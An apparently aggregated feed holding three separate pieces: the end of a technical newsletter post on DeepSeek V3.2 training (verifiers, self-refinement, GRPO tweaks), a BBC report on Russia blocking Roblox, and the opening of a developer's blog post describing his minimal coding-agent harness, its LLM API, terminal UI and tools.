    Figure 13: The meta-verifier (LLM 3) checks whether the verifier (LLM 2) is verifying the generator (LLM 1) correctly.

    The meta-verifier (LLM 3) is also developed with reinforcement learning, similar to LLM 2. While the use of a meta-verifier is not required, the DeepSeek team reported that:

    the average quality score of the verifier’s proof analyses – as evaluated by the meta-verifier – improved from 0.85 to 0.96, while maintaining the same accuracy in proof score prediction.

    This is actually quite an interesting setup. If you are familiar with generative adversarial networks (GANs), you may see the analogy here. For instance, the proof verifier (think of it as a GAN discriminator) improves the proof generator, and the proof generator generates better proofs, further pushing the proof verifier.

    The meta score is used during training of the verifier (LLM 2) and the generator (LLM 1). It is not used at inference time in the self‑refinement loop, which we will discuss in the next section.

    In the previous section, we talked about self-verification, i.e., analyzing the quality of the solution. The purpose of this is to implement self-refinement, which means that the LLM can act upon the feedback and revise its answer.

    Traditionally, in self-refinement, which is an established and popular inference-scaling technique, we would use the same LLM for generating the solution and verifying it, before refining it. In other words, in the previous figures 12 and 13, LLM 1 and LLM 2 would be the same LLM. So, a traditional self-refinement process would look as follows:

    Figure 14: A classic self-refinement iteration where we use the same LLM for generating the initial response (Output 1), the evaluation (Eval), and the refined answer (Output 2).

    However, the DeepSeek team observed a crucial issue with using the same LLM for both the generation and verification in practice:

    when prompted to both generate and analyze its own proof in one shot, the generator tends to claim correctness even when the external verifier easily identify flaws. In other words, while the generator can refine proofs based on external feedback, it fails to evaluate its own work with the same rigor as the dedicated verifier.

    As a logical consequence, one would assume they use a separate proof generator (LLM 1) and proof verifier (LLM 2). So, the self-refinement loop used here becomes similar to the one shown in the figure below. Note that we omit LLM 3, which is only used during the development of the verifier (LLM 2).

    Figure 15: Self-refinement with a separate verifier LLM (LLM 2).

    However, in practice, and different from Figure 15, the DeepSeek team uses the same generator and verifier LLM as in a classic self-refinement loop in Figure 14:

    “All experiments used a single model, our final proof generator, which performs both proof generation and verification.”

    In other words the separate verifier is essential for training, to improve the generator, but it is not used (/needed) later during inference once the generator is strong enough. And the key difference from naive single‑model self‑refinement is that the final prover has been trained under the guidance of a stronger verifier and meta‑verifier, so it has learned to apply those rubrics to its own outputs.

    Also, using this 2-in-1 DeepSeekMath V2 verifier during inference is also beneficial in terms of resource and cost, as it add less complexity and compute requirements than running a second LLM for proof verification.

    Coming back to the general self-refinement concept shown in Figures 14 and 15, both figures show self-refinement with 2 iterations (the initial one and a refined answer). Of course, we can add more iterations to this process. It’s a classic inference-scaling trade-off: the more iterations we add, the more expensive it becomes to generate the answer, but the higher the overall accuracy.

    In the paper, the DeepSeek team used up to 8 iterations, and it looks like the accuracy didn’t saturate yet.

    The reason why we spent so much time on DeepSeekMath V2 in the previous section is that a) it’s a very interesting proof of concept that pushes the idea of Reinforcement Learning with Verifiable Rewards (RLVR) further with self-verification and self-refinement techniques, and b) the self-verification and self-refinement techniques are used in DeepSeek V3.2 as well.

    But before we get to this part, let’s start with a general overview of DeepSeek V3.2. This model is a big deal because it performs really well compared to current flagship models.

    Figure 17: Benchmark comparison between DeepSeek V3.2 and proprietary flagship models. This is an annotated figure from the DeepSeek V3.2 report .

    Similar to several other DeepSeek models, V3.2 comes with a nice technical report , which I will discuss in the next sections.

    The main motivation for this model is, of course, to improve overall model performance. For instance, like DeepSeekMath V2, it achieves gold-level performance on math benchmarks. However, the model is also trained with tool-use in mind and also performs well on other tasks, for instance, code and agentic tasks.

    At the same time, the DeepSeek team writes about computational efficiency as a big, motivating factor. That’s why they use the Multi-Head Latent Attention (MLA) mechanism from V2 and V3 together with the DeepSeek Sparse Attention (DSA) mechanism, which they added in V3.2. In fact, the paper says that “DeepSeek-V3.2 uses exactly the same architecture as DeepSeek-V3.2-Exp,” which we discussed in an earlier section.

    Figure 18: The DeepSeek V3.2 architecture.

    As I mentioned earlier the DeepSeek V3.2-Exp release was likely intended to get the ecosystem and inference infrastructure ready to host the just-released V3.2 model.

    Figure 19: Inference cost savings thanks to DeepSeek Sparse Attention (DSA). Annotated figure from the DeepSeek V3.2 report .

    Interestingly, as the screenshot from the paper above shows, the DeepSeek team reverted to using NVIDIA chips (after they allegedly experimented with model training on chips from Huawei).

    Since the architecture is the same as that of DeepSeek V3.2-Exp, the interesting details lie in the training methods, which we will discuss in the next sections.

    Overall, the DeepSeek team adopts the Reinforcement Learning with Verifiable Rewards (RLVR) procedure using the Group Relative Policy Optimization (GRPO) algorithm similar to DeepSeek R1. However, there are some interesting updates to discuss.

    Originally, DeepSeek R1 used

    • a format reward (to make sure the answer is properly formatted);

    • a language consistency reward (so that the model doesn’t alternate between different languages when writing its response);

    • and the main verifier reward (whether the answer, in a math or code problem, is correct or not)

    For DeepSeek V3.2, they changed the rewards:

    For reasoning and agent tasks, we employ rule-based outcome reward, length penalty, and language consistency reward. For general tasks, we employ a generative reward model where each prompt has its own rubrics for evaluation.

    For instance, they removed the format reward but added a length penalty for agentic tasks. Then, for general tasks where there is no symbolic verifier (math) or code interpreter to verify the answer, they use a reward model (another LLM trained to output a reward score).

    So, it sounds like the pipeline is no longer purely verifier‑based RLVR like in DeepSeek R1, but a hybrid of RLVR (for verifiable domains) and more standard LLM‑as‑a‑judge reward modeling for everything else.

    For the math domain, they state that they additionally “incorporated the dataset and reward method from DeepSeekMath-V2,” which we discussed earlier in this article.

    Regarding GRPO itself, the learning algorithm inside the RLVR pipeline, they made a few changes since the original version in the DeepSeek R1 paper, too.

    Over the last few months, dozens of papers have proposed modifications to GRPO to improve its stability and efficiency. I wrote about two popular ones, DAPO and Dr. GRPO, earlier this year in my The State of Reinforcement Learning for LLM Reasoning article .

    Without getting into the mathematical details of GRPO, in short, DAPO modifies GRPO with asymmetric clipping, dynamic sampling, token-level loss, and explicit length-based reward shaping. Dr. GRPO changes the GRPO objective itself to remove the length and std normalizations.

    The recent Olmo 3 paper also adopted similar changes, which I am quoting below:

    • Zero Gradient Signal Filtering: We remove groups of instances whose rewards are all identical (that is, a batch with zero standard deviation in their advantage) to avoid training on samples that provide zero gradient, similar to DAPO (Yu et al., 2025). [DAPO]

    • Active Sampling: We maintain a consistent batch size in spite of zero gradient filtering with a novel, more efficient version of dynamic sampling (Yu et al., 2025). See OlmoRL Infra for details. [DAPO]

    • Token-level loss: We use a token-level loss to normalize the loss by the total number of tokens across the batch (Yu et al., 2025), rather than per-sample to avoid a length bias. [DAPO]

    • No KL Loss: We remove the KL loss as a common practice (GLM-4.5 Team et al., 2025; Yu et al., 2025; Liu et al., 2025b) as it allows less restricted policy updates, and removing it does not lead to over-optimization or destabilized training. [DAPO and Dr. GRPO]

    • Clip Higher: We set the upper-bound clipping term in the loss to a slightly higher value than the lower bound to enable larger updates on tokens, as proposed by Yu et al. (2025). [DAPO]

    • Truncated Importance Sampling: To adjust for differences between log probabilities from the inference and training engines, we multiply the loss by the truncated importance sampling ratio, following Yao et al. (2025).

    • No standard deviation normalization: When calculating advantage, we do not normalize by the standard deviation of the group, following Liu et al. (2025b). This removes a difficulty bias, where questions with low standard deviation in their rewards (for example, too hard or too easy) have their advantages significantly increased by the normalization term. [Dr. GRPO]

    The GRPO modifications in DeepSeek V3.2 are a bit less aggressive, which I summarized in a similar style as Olmo 3 did:

    • Domain‑specific KL strengths (including zero for math): Instead of always dropping KL like DAPO and Dr. GRPO do for math‑style RL, DeepSeek V3.2 keeps a KL term in the objective but tunes its weight per domain. However, they also note that very weak or even zero KL often works best for mathematics. (But instead of removing it completely, it becomes a hyperparameter.)

    • Unbiased KL estimate: As mentioned above, DeepSeek V3.2 doesn’t remove the KL penalty. And in addition to treating it as a tuning knob, they propose a fix to how the KL penalty is estimated in GRPO by reweighting the KL term with the same importance ratio used for the main loss, so the KL gradient actually matches the fact that samples come from the old policy rather than the current one.

    • Off‑policy sequence masking: When they reuse rollout data (rollout is simply jargon for the full sequence the model generates) across many gradient steps, DeepSeek V3.2 measures how far the current policy has drifted from the rollout policy on each full answer and simply drops those sequences that both have negative advantage and are “too off‑policy”. So, this prevents the model from learning from overly off‑policy or stale data.

    • Keep routing for MoE models: For the Mixture‑of‑Experts backbone, they log which experts were activated during rollout and force the same routing pattern during training, so gradient updates are for those experts that produced the sampled answers.

    • Keep sampling mask for top‑p / top‑k: When rollouts use top‑p or top‑k sampling, DeepSeek V3.2 stores the selection mask and reapplies it when computing the GRPO loss and KL, so the action space at training time matches what was actually available during sampling.

    • Keep original GRPO advantage normalization: Dr. GRPO shows that GRPO’s length and per‑group standard‑deviation normalization terms bias optimization toward overly long incorrect answers and over‑weight very easy or very hard questions. Dr. GRPO fixes this by removing both terms and going back to an unbiased PPO‑style objective. In contrast, DAPO moves to a token‑level loss that also changes how long vs short answers are weighted. DeepSeek V3.2, however, keeps the original GRPO normalization and instead focuses on other fixes, such as those above.

    So, overall, DeepSeek V3.2 is closer to the original GRPO algorithms than some other recent models but adds some logical tweaks.

    DeepSeek V3.2 also comes in an extreme, extended-thinking variant called DeepSeek V3.2-Speciale, which was trained only on reasoning data during the RL stage (more akin to DeepSeek R1). Besides training only on reasoning data, they also reduced the length penalty during RL, allowing the model to output longer responses.

    Generating longer responses is a form of inference scaling, where responses become more expensive due to the increased length, in return for better results.

    Figure 20: The “extended-thinking” Speciale model achieves higher accuracy but also generates more tokens.

    In this article, I didn’t cover all the nitty-gritty details of the DeepSeek V3.2 training approach, but I hope the comparison with previous DeepSeek models helps clarify the main points and innovations.

    In short, the interesting takeaways are:

    • DeepSeek V3.2 uses a similar architecture to all its predecessors since DeepSeek V3;

    • The main architecture tweak is that they added the sparse attention mechanism from DeepSeek V3.2-Exp to improve efficiency;

    • To improve math performance, they adopted the self-verification approach from DeepSeekMath V2;

    • There are several improvements to the training pipeline, for example, GRPO stability updates (note the paper goes into several other aspects around distillation, long-context training, integration of tool-use similar to gpt-oss, which we did not cover in this article).

    Irrespective of the relative market share of DeepSeek models compared to other smaller open-weight models or proprietary models like GPT-5.1 or Gemini 3.0 Pro, one thing is for sure: DeepSeek releases are always interesting, and there’s always a lot to learn from the technical reports that come with the open-weight model checkpoints.

    I hope you found this overview useful!

    This magazine is a personal passion project, and your support helps keep it alive.

    If you’d like to support my work, please consider my Build a Large Language Model (From Scratch) book or its follow-up, Build a Reasoning Model (From Scratch) . (I’m confident you’ll get a lot out of these; they explain how LLMs work in depth you won’t find elsewhere.)

    Thanks for reading, and for helping support independent research!

    If you read the book and have a few minutes to spare, I’d really appreciate a brief review . It helps us authors a lot!

    Your support means a great deal! Thank you!

    Discussion about this post

    Ready for more?

    Russia Bans Roblox

    Hacker News
    www.bbc.com
    2025-12-04 04:34:14
    Comments...
    Original Article

    Osmond Chia Business reporter

    Russia has blocked access to popular gaming platform Roblox due to concerns over child safety and extremism, including the spread of LGBT-related content.

    The country's media regulator said Roblox had become rife with "inappropriate content that can negatively impact the spiritual and moral development of children", according to local news outlets.

    The multiplayer online platform ranks among the world's most popular, but has been heavily criticised over its lack of features to protect children.

    A spokesperson from Roblox said the company respects the laws where it operates, adding that the platform provides a "positive space" for learning.

    "We have a deep commitment to safety and we have a robust set of proactive and preventative safety measures designed to catch and prevent harmful content on our platform," the spokesperson said in response to the BBC.

    Russian media reported that Roskomnadzor, the country's media regulator, blocked the US platform over concerns about terrorism-related content and information on LGBT issues, which are classified as extremist and banned in Russia.

    Such activity is often found in Roblox's servers, where scenarios simulating terrorist attacks, as well as gambling, have surfaced, the agency is quoted as saying.

    Roblox, which ranks among Russia's most downloaded mobile games in recent years, allows players to create and share their own games - a model that has made regulation challenging.

    The Roskomnadzor also flagged reports of sexual harassment of children and the sharing of intimate images on the platform. Other countries have raised similar issues, and the platform is already banned in certain countries, including Turkey , over concerns about child safety.

    Roblox also came under scrutiny in Singapore in 2023 after the government there said a self-radicalised teenager had joined ISIS-themed servers on the platform.

    Last month, Texas Attorney General Ken Paxton sued the platform over "flagrantly ignoring" safety laws and "deceiving parents" about the dangers it posed to young people.

    This month, Roblox announced it would stop allowing children to chat with adult strangers , after longstanding criticism over the platform's networking feature.

    What I learned building an opinionated and minimal coding agent

    Lobsters
    mariozechner.at
    2025-12-04 04:11:16
    Comments...
    Original Article

    2025-11-30

    It's not much, but it's mine

    In the past three years, I've been using LLMs for assisted coding. If you read this, you probably went through the same evolution: from copying and pasting code into ChatGPT , to Copilot auto-completions (which never worked for me), to Cursor , and finally the new breed of coding agent harnesses like Claude Code , Codex , Amp , Droid , and opencode that became our daily drivers in 2025.

    I preferred Claude Code for most of my work. It was the first thing I tried back in April after using Cursor for a year and a half. Back then, it was much more basic. That fit my workflow perfectly, because I'm a simple boy who likes simple, predictable tools. Over the past few months, Claude Code has turned into a spaceship with 80% of functionality I have no use for. The system prompt and tools also change on every release, which breaks my workflows and changes model behavior. I hate that. Also, it flickers.

    I've also built a bunch of agents over the years, of various complexity. For example, Sitegeist , my little browser-use agent, is essentially a coding agent that lives inside the browser. In all that work, I learned that context engineering is paramount. Exactly controlling what goes into the model's context yields better outputs, especially when it's writing code. Existing harnesses make this extremely hard or impossible by injecting stuff behind your back that isn't even surfaced in the UI.

    Speaking of surfacing things, I want to inspect every aspect of my interactions with the model. Basically no harness allows that. I also want a cleanly documented session format I can post-process automatically, and a simple way to build alternative UIs on top of the agent core. While some of this is possible with existing harnesses, the APIs smell like organic evolution. These solutions accumulated baggage along the way, which shows in the developer experience. I'm not blaming anyone for this. If tons of people use your shit and you need some sort of backwards compatibility, that's the price you pay.

    I've also dabbled in self-hosting, both locally and on DataCrunch . While some harnesses like opencode support self-hosted models, it usually doesn't work well. Mostly because they rely on libraries like the Vercel AI SDK , which doesn't play nice with self-hosted models for some reason, specifically when it comes to tool calling.

    So what's an old guy yelling at Claudes going to do? He's going to write his own coding agent harness and give it a name that's entirely un-Google-able, so there will never be any users. Which means there will also never be any issues on the GitHub issue tracker. How hard can it be?

    To make this work, I needed to build:

    • pi-ai : A unified LLM API with multi-provider support (Anthropic, OpenAI, Google, xAI, Groq, Cerebras, OpenRouter, and any OpenAI-compatible endpoint), streaming, tool calling with TypeBox schemas, thinking/reasoning support, seamless cross-provider context handoffs, and token and cost tracking.
    • pi-agent-core : An agent loop that handles tool execution, validation, and event streaming.
    • pi-tui : A minimal terminal UI framework with differential rendering, synchronized output for (almost) flicker-free updates, and components like editors with autocomplete and markdown rendering.
    • pi-coding-agent : The actual CLI that wires it all together with session management, custom tools, themes, and project context files.

    My philosophy in all of this was: if I don't need it, it won't be built. And I don't need a lot of things.

    pi-ai and pi-agent-core

    I'm not going to bore you with the API specifics of this package. You can read it all in the README.md . Instead, I want to document the problems I ran into while creating a unified LLM API and how I resolved them. I'm not claiming my solutions are the best, but they've been working pretty well throughout various agentic and non-agentic LLM projects.

    There. Are. Four. Ligh... APIs

    There's really only four APIs you need to speak to talk to pretty much any LLM provider: OpenAI's Completions API , their newer Responses API , Anthropic's Messages API , and Google's Generative AI API .

    They're all pretty similar in features, so building an abstraction on top of them isn't rocket science. There are, of course, provider-specific peculiarities you have to care for. That's especially true for the Completions API, which is spoken by pretty much all providers, but each of them has a different understanding of what this API should do. For example, while OpenAI doesn't support reasoning traces in their Completions API, other providers do in their version of the Completions API. This is also true for inference engines like llama.cpp , Ollama , vLLM , and LM Studio .

    For example, in openai-completions.ts :

    • Cerebras, xAI, Mistral, and Chutes don't like the store field
    • Mistral and Chutes use max_tokens instead of max_completion_tokens
    • Cerebras, xAI, Mistral, and Chutes don't support the developer role for system prompts
    • Grok models don't like reasoning_effort
    • Different providers return reasoning content in different fields ( reasoning_content vs reasoning )

    To ensure all features actually work across the gazillion of providers, pi-ai has a pretty extensive test suite covering image inputs, reasoning traces, tool calling, and other features you'd expect from an LLM API. Tests run across all supported providers and popular models. While this is a good effort, it still won't guarantee that new models and providers will just work out of the box.

    Another big difference is how providers report tokens and cache reads/writes. Anthropic has the sanest approach, but generally it's the Wild West. Some report token counts at the start of the SSE stream, others only at the end, making accurate cost tracking impossible if a request is aborted. To add insult to injury, you can't provide a unique ID to later correlate with their billing APIs and figure out which of your users consumed how many tokens. So pi-ai does token and cache tracking on a best-effort basis. Good enough for personal use, but not for accurate billing if you have end users consuming tokens through your service.

    Special shout out to Google who to this date seem to not support tool call streaming which is extremely Google.

    pi-ai also works in the browser, which is useful for building web-based interfaces. Some providers make this especially easy by supporting CORS, specifically Anthropic and xAI.

    Context handoff

    Context handoff between providers was a feature pi-ai was designed for from the start. Since each provider has their own way of tracking tool calls and thinking traces, this can only be a best-effort thing. For example, if you switch from Anthropic to OpenAI mid-session, Anthropic thinking traces are converted to content blocks inside assistant messages, delimited by <thinking></thinking> tags. This may or may not be sensible, because the thinking traces returned by Anthropic and OpenAI don't actually represent what's happening behind the scenes.

    These providers also insert signed blobs into the event stream that you have to replay on subsequent requests containing the same messages. This also applies when switching models within a provider. It makes for a cumbersome abstraction and transformation pipeline in the background.

    I'm happy to report that cross-provider context handoff and context serialization/deserialization work pretty well in pi-ai:

    import { getModel, complete, Context } from '@mariozechner/pi-ai';
    
    // Start with Claude
    const claude = getModel('anthropic', 'claude-sonnet-4-5');
    const context: Context = {
      messages: []
    };
    
    context.messages.push({ role: 'user', content: 'What is 25 * 18?' });
    const claudeResponse = await complete(claude, context, {
      thinkingEnabled: true
    });
    context.messages.push(claudeResponse);
    
    // Switch to GPT - it will see Claude's thinking as <thinking> tagged text
    const gpt = getModel('openai', 'gpt-5.1-codex');
    context.messages.push({ role: 'user', content: 'Is that correct?' });
    const gptResponse = await complete(gpt, context);
    context.messages.push(gptResponse);
    
    // Switch to Gemini
    const gemini = getModel('google', 'gemini-2.5-flash');
    context.messages.push({ role: 'user', content: 'What was the question?' });
    const geminiResponse = await complete(gemini, context);
    
    // Serialize context to JSON (for storage, transfer, etc.)
    const serialized = JSON.stringify(context);
    
    // Later: deserialize and continue with any model
    const restored: Context = JSON.parse(serialized);
    restored.messages.push({ role: 'user', content: 'Summarize our conversation' });
    const continuation = await complete(claude, restored);
    

    We live in a multi-model world

    Speaking of models, I wanted a typesafe way of specifying them in the getModel call. For that I needed a model registry that I could turn into TypeScript types. I'm parsing data from both OpenRouter and models.dev (created by the opencode folks, thanks for that, it's super useful) into models.generated.ts . This includes token costs and capabilities like image inputs and thinking support.

    And if I ever need to add a model that's not in the registry, I wanted a type system that makes it easy to create new ones. This is especially useful when working with self-hosted models, new releases that aren't yet on models.dev or OpenRouter, or trying out one of the more obscure LLM providers:

    import { Model, stream } from '@mariozechner/pi-ai';
    
    const ollamaModel: Model<'openai-completions'> = {
      id: 'llama-3.1-8b',
      name: 'Llama 3.1 8B (Ollama)',
      api: 'openai-completions',
      provider: 'ollama',
      baseUrl: 'http://localhost:11434/v1',
      reasoning: false,
      input: ['text'],
      cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
      contextWindow: 128000,
      maxTokens: 32000
    };
    
    const response = await stream(ollamaModel, context, {
      apiKey: 'dummy' // Ollama doesn't need a real key
    });
    

    Many unified LLM APIs completely ignore providing a way to abort requests. This is entirely unacceptable if you want to integrate your LLM into any kind of production system. Many unified LLM APIs also don't return partial results to you, which is kind of ridiculous. pi-ai was designed from the beginning to support aborts throughout the entire pipeline, including tool calls. Here's how it works:

    import { getModel, stream } from '@mariozechner/pi-ai';
    
    const model = getModel('openai', 'gpt-5.1-codex');
    const controller = new AbortController();
    
    // Abort after 2 seconds
    setTimeout(() => controller.abort(), 2000);
    
    const s = stream(model, {
      messages: [{ role: 'user', content: 'Write a long story' }]
    }, {
      signal: controller.signal
    });
    
    for await (const event of s) {
      if (event.type === 'text_delta') {
        process.stdout.write(event.delta);
      } else if (event.type === 'error') {
        console.log(`${event.reason === 'aborted' ? 'Aborted' : 'Error'}:`, event.error.errorMessage);
      }
    }
    
    // Get results (may be partial if aborted)
    const response = await s.result();
    if (response.stopReason === 'aborted') {
      console.log('Partial content:', response.content);
    }
    

    Structured split tool results

    Another abstraction I haven't seen in any unified LLM API is splitting tool results into a portion handed to the LLM and a portion for UI display. The LLM portion is generally just text or JSON, which doesn't necessarily contain all the information you'd want to show in a UI. It also sucks hard to parse textual tool outputs and restructure them for display in a UI. pi-ai's tool implementation allows returning both content blocks for the LLM and separate content blocks for UI rendering. Tools can also return attachments like images that get attached in the native format of the respective provider. Tool arguments are automatically validated using TypeBox schemas and AJV , with detailed error messages when validation fails:

    import { Type, AgentTool } from '@mariozechner/pi-ai';
    
    const weatherSchema = Type.Object({
      city: Type.String({ minLength: 1 }),
    });
    
    const weatherTool: AgentTool<typeof weatherSchema, { temp: number }> = {
      name: 'get_weather',
      description: 'Get current weather for a city',
      parameters: weatherSchema,
      execute: async (toolCallId, args) => {
        const temp = Math.round(Math.random() * 30);
        return {
          // Text for the LLM
          output: `Temperature in ${args.city}: ${temp}°C`,
          // Structured data for the UI
          details: { temp }
        };
      }
    };
    
    // Tools can also return images
    const chartTool: AgentTool = {
      name: 'generate_chart',
      description: 'Generate a chart from data',
      parameters: Type.Object({ data: Type.Array(Type.Number()) }),
      execute: async (toolCallId, args) => {
        const chartImage = await generateChartImage(args.data);
        return {
          content: [
            { type: 'text', text: `Generated chart with ${args.data.length} data points` },
            { type: 'image', data: chartImage.toString('base64'), mimeType: 'image/png' }
          ]
        };
      }
    };
    

    What's still lacking is tool result streaming. Imagine a bash tool where you want to display ANSI sequences as they come in. That's currently not possible, but it's a simple fix that will eventually make it into the package.

    Partial JSON parsing during tool call streaming is essential for good UX. As the LLM streams tool call arguments, pi-ai progressively parses them so you can show partial results in the UI before the call completes. For example, you can display a diff streaming in as the agent rewrites a file.

    Minimal agent scaffold

    Finally, pi-ai provides an agent loop that handles the full orchestration: processing user messages, executing tool calls, feeding results back to the LLM, and repeating until the model produces a response without tool calls. The loop also supports message queuing via a callback: after each turn, it asks for queued messages and injects them before the next assistant response. The loop emits events for everything, making it easy to build reactive UIs.

    The agent loop doesn't let you specify max steps or similar knobs you'd find in other unified LLM APIs. I never found a use case for that, so why add it? The loop just loops until the agent says it's done. On top of the loop, however, pi-agent-core provides an Agent class with actually useful stuff: state management, simplified event subscriptions, message queuing with two modes (one-at-a-time or all-at-once), attachment handling (images, documents), and a transport abstraction that lets you run the agent either directly or through a proxy.

    Am I happy with pi-ai? For the most part, yes. Like any unifying API, it can never be perfect due to leaky abstractions. But it's been used in seven different production projects and has served me extremely well.

    Why build this instead of using the Vercel AI SDK? Armin's blog post mirrors my experience. Building on top of the provider SDKs directly gives me full control and lets me design the APIs exactly as I want, with a much smaller surface area. Armin's blog gives you a more in-depth treatise on the reasons for building your own. Go read that.

    pi-tui

    I grew up in the DOS era, so terminal user interfaces are what I grew up with. From the fancy setup programs for Doom to Borland products, TUIs were with me until the end of the 90s. And boy was I fucking happy when I eventually switched to a GUI operating system. While TUIs are mostly portable and easily streamable, they also suck at information density. Having said all that, I thought starting with a terminal user interface for pi makes the most sense. I could strap on a GUI later whenever I felt like I needed to.

    So why build my own TUI framework? I've looked into the alternatives like Ink , Blessed , OpenTUI , and so on. I'm sure they're all fine in their own way, but I definitely don't want to write my TUI like a React app. Blessed seems to be mostly unmaintained, and OpenTUI is explicitly not production ready. Also, writing my own TUI framework on top of Node.js seemed like a fun little challenge.

    Two kinds of TUIs

    Writing a terminal user interface is not rocket science per se. You just have to pick your poison. There's basically two ways to do it. One is to take ownership of the terminal viewport (the portion of the terminal contents you can actually see) and treat it like a pixel buffer. Instead of pixels you have cells that contain characters with background color, foreground color, and styling like italic and bold. I call these full screen TUIs. Amp and opencode use this approach.

    The drawback is that you lose the scrollback buffer, which means you have to implement custom search. You also lose scrolling, which means you have to simulate scrolling within the viewport yourself. While this is not hard to implement, it means you have to re-implement all the functionality your terminal emulator already provides. Mouse scrolling specifically always feels kind of off in such TUIs.

    The second approach is to just write to the terminal like any CLI program, appending content to the scrollback buffer, only occasionally moving the "rendering cursor" back up a little within the visible viewport to redraw things like animated spinners or a text edit field. It's not exactly that simple, but you get the idea. This is what Claude Code, Codex, and Droid do.

    Coding agents have this nice property that they're basically a chat interface. The user writes a prompt, followed by replies from the agent and tool calls and their results. Everything is nicely linear, which lends itself well to working with the "native" terminal emulator. You get to use all the built-in functionality like natural scrolling and search within the scrollback buffer. It also limits what your TUI can do to some degree, which I find charming because constraints make for minimal programs that just do what they're supposed to do without superfluous fluff. This is the direction I picked for pi-tui.

    Retained mode UI

    If you've done any GUI programming, you've probably heard of retained mode vs immediate mode. In a retained mode UI, you build up a tree of components that persist across frames. Each component knows how to render itself and can cache its output if nothing changed. In an immediate mode UI, you redraw everything from scratch each frame (though in practice, immediate mode UIs also do caching, otherwise they'd fall apart).

    pi-tui uses a simple retained mode approach. A Component is just an object with a render(width) method that returns an array of strings (lines that fit the viewport horizontally, with ANSI escape codes for colors and styling) and an optional handleInput(data) method for keyboard input. A Container holds a list of components arranged vertically and collects all their rendered lines. The TUI class is itself a container that orchestrates everything.

    When the TUI needs to update the screen, it asks each component to render. Components can cache their output: an assistant message that's fully streamed doesn't need to re-parse markdown and re-render ANSI sequences every time. It just returns the cached lines. Containers collect lines from all children. The TUI gathers all these lines and compares them to the lines it previously rendered for the previous component tree. It keeps a backbuffer of sorts, remembering what was written to the scrollback buffer.

    Then it only redraws what changed, using a method I call differential rendering. I'm very bad with names, and this likely has an official name.

    Differential rendering

    Here's a simplified demo that illustrates what exactly gets redrawn.

    The algorithm is simple:

    1. First render : Just output all lines to the terminal
    2. Width changed : Clear screen completely and re-render everything (soft wrapping changes)
    3. Normal update : Find the first line that differs from what's on screen, move the cursor to that line, and re-render from there to the end

    There's one catch: if the first changed line is above the visible viewport (the user scrolled up), we have to do a full clear and re-render. The terminal doesn't let you write to the scrollback buffer above the viewport.

    To prevent flicker during updates, pi-tui wraps all rendering in synchronized output escape sequences ( CSI ?2026h and CSI ?2026l ). This tells the terminal to buffer all the output and display it atomically. Most modern terminals support this.

    How well does it work and how much does it flicker? In any capable terminal like Ghostty or iTerm2, this works brilliantly and you never see any flicker. In less fortunate terminal implementations like VS Code's built-in terminal, you will get some flicker depending on the time of day, your display size, your window size, and so on. Given that I'm very accustomed to Claude Code, I haven't spent any more time optimizing this. I'm happy with the little flicker I get in VS Code. I wouldn't feel at home otherwise. And it still flickers less than Claude Code.

    How wasteful is this approach? We store an entire scrollback buffer worth of previously rendered lines, and we re-render lines every time the TUI is asked to render itself. That's alleviated with the caching I described above, so the re-rendering isn't a big deal. We still have to compare a lot of lines with each other. Realistically, on computers younger than 25 years, this is not a big deal, both in terms of performance and memory use (a few hundred kilobytes for very large sessions). Thanks V8. What I get in return is a dead simple programming model that lets me iterate quickly.

    pi-coding-agent

    I don't need to explain what features you should expect from a coding agent harness. pi comes with most creature comforts you're used to from other tools:

    • Runs on Windows, Linux, and macOS (or anything with a Node.js runtime and a terminal)

    • Multi-provider support with mid-session model switching

    • Session management with continue, resume, and branching

    • Project context files (AGENTS.md) loaded hierarchically from global to project-specific

    • Slash commands for common operations

    • Custom slash commands as markdown templates with argument support

    • OAuth authentication for Claude Pro/Max subscriptions

    • Custom model and provider configuration via JSON

    • Customizable themes with live reload

    • Editor with fuzzy file search, path completion, drag & drop, and multi-line paste

    • Message queuing while the agent is working

    • Image support for vision-capable models

    • HTML export of sessions

    • Headless operation via JSON streaming and RPC mode

    • Full cost and token tracking

    If you want the full rundown, read the README . What's more interesting is where pi deviates from other harnesses in philosophy and implementation.

    Minimal system prompt

    Here's the system prompt:

    You are an expert coding assistant. You help users with coding tasks by reading files, executing commands, editing code, and writing new files.
    
    Available tools:
    - read: Read file contents
    - bash: Execute bash commands
    - edit: Make surgical edits to files
    - write: Create or overwrite files
    
    Guidelines:
    - Use bash for file operations like ls, grep, find
    - Use read to examine files before editing
    - Use edit for precise changes (old text must match exactly)
    - Use write only for new files or complete rewrites
    - When summarizing your actions, output plain text directly - do NOT use cat or bash to display what you did
    - Be concise in your responses
    - Show file paths clearly when working with files
    
    Documentation:
    - Your own documentation (including custom model setup and theme creation) is at: /path/to/README.md
    - Read it when users ask about features, configuration, or setup, and especially if the user asks you to add a custom model or provider, or create a custom theme.
    

    That's it. The only thing that gets injected at the bottom is your AGENTS.md file. Both the global one that applies to all your sessions and the project-specific one stored in your project directory. This is where you can customize pi to your liking. You can even replace the full system prompt if you want to. Compared to, for example, Claude Code's system prompt , Codex's system prompt , or opencode's model-specific prompts (the Claude one is a cut-down version of the original Claude Code prompt they copied).

    You might think this is crazy. In all likelihood, the models have some training on their native coding harness. So using the native system prompt or something close to it like opencode would be most ideal. But it turns out that all the frontier models have been RL-trained up the wazoo, so they inherently understand what a coding agent is. There does not appear to be a need for 10,000 tokens of system prompt, as we'll find out later in the benchmark section, and as I've anecdotally found out by exclusively using pi for the past few weeks. Amp, while copying some parts of the native system prompts, seems to also do just fine with their own prompt.

    Minimal toolset

    Here are the tool definitions:

    read
      Read the contents of a file. Supports text files and images (jpg, png,
      gif, webp). Images are sent as attachments. For text files, defaults to
      first 2000 lines. Use offset/limit for large files.
      - path: Path to the file to read (relative or absolute)
      - offset: Line number to start reading from (1-indexed)
      - limit: Maximum number of lines to read
    
    write
      Write content to a file. Creates the file if it doesn't exist, overwrites
      if it does. Automatically creates parent directories.
      - path: Path to the file to write (relative or absolute)
      - content: Content to write to the file
    
    edit
      Edit a file by replacing exact text. The oldText must match exactly
      (including whitespace). Use this for precise, surgical edits.
      - path: Path to the file to edit (relative or absolute)
      - oldText: Exact text to find and replace (must match exactly)
      - newText: New text to replace the old text with
    
    bash
      Execute a bash command in the current working directory. Returns stdout
      and stderr. Optionally provide a timeout in seconds.
      - command: Bash command to execute
      - timeout: Timeout in seconds (optional, no default timeout)
    

    There are additional read-only tools (grep, find, ls) if you want to restrict the agent from modifying files or running arbitrary commands. By default these are disabled, so the agent only gets the four tools above.

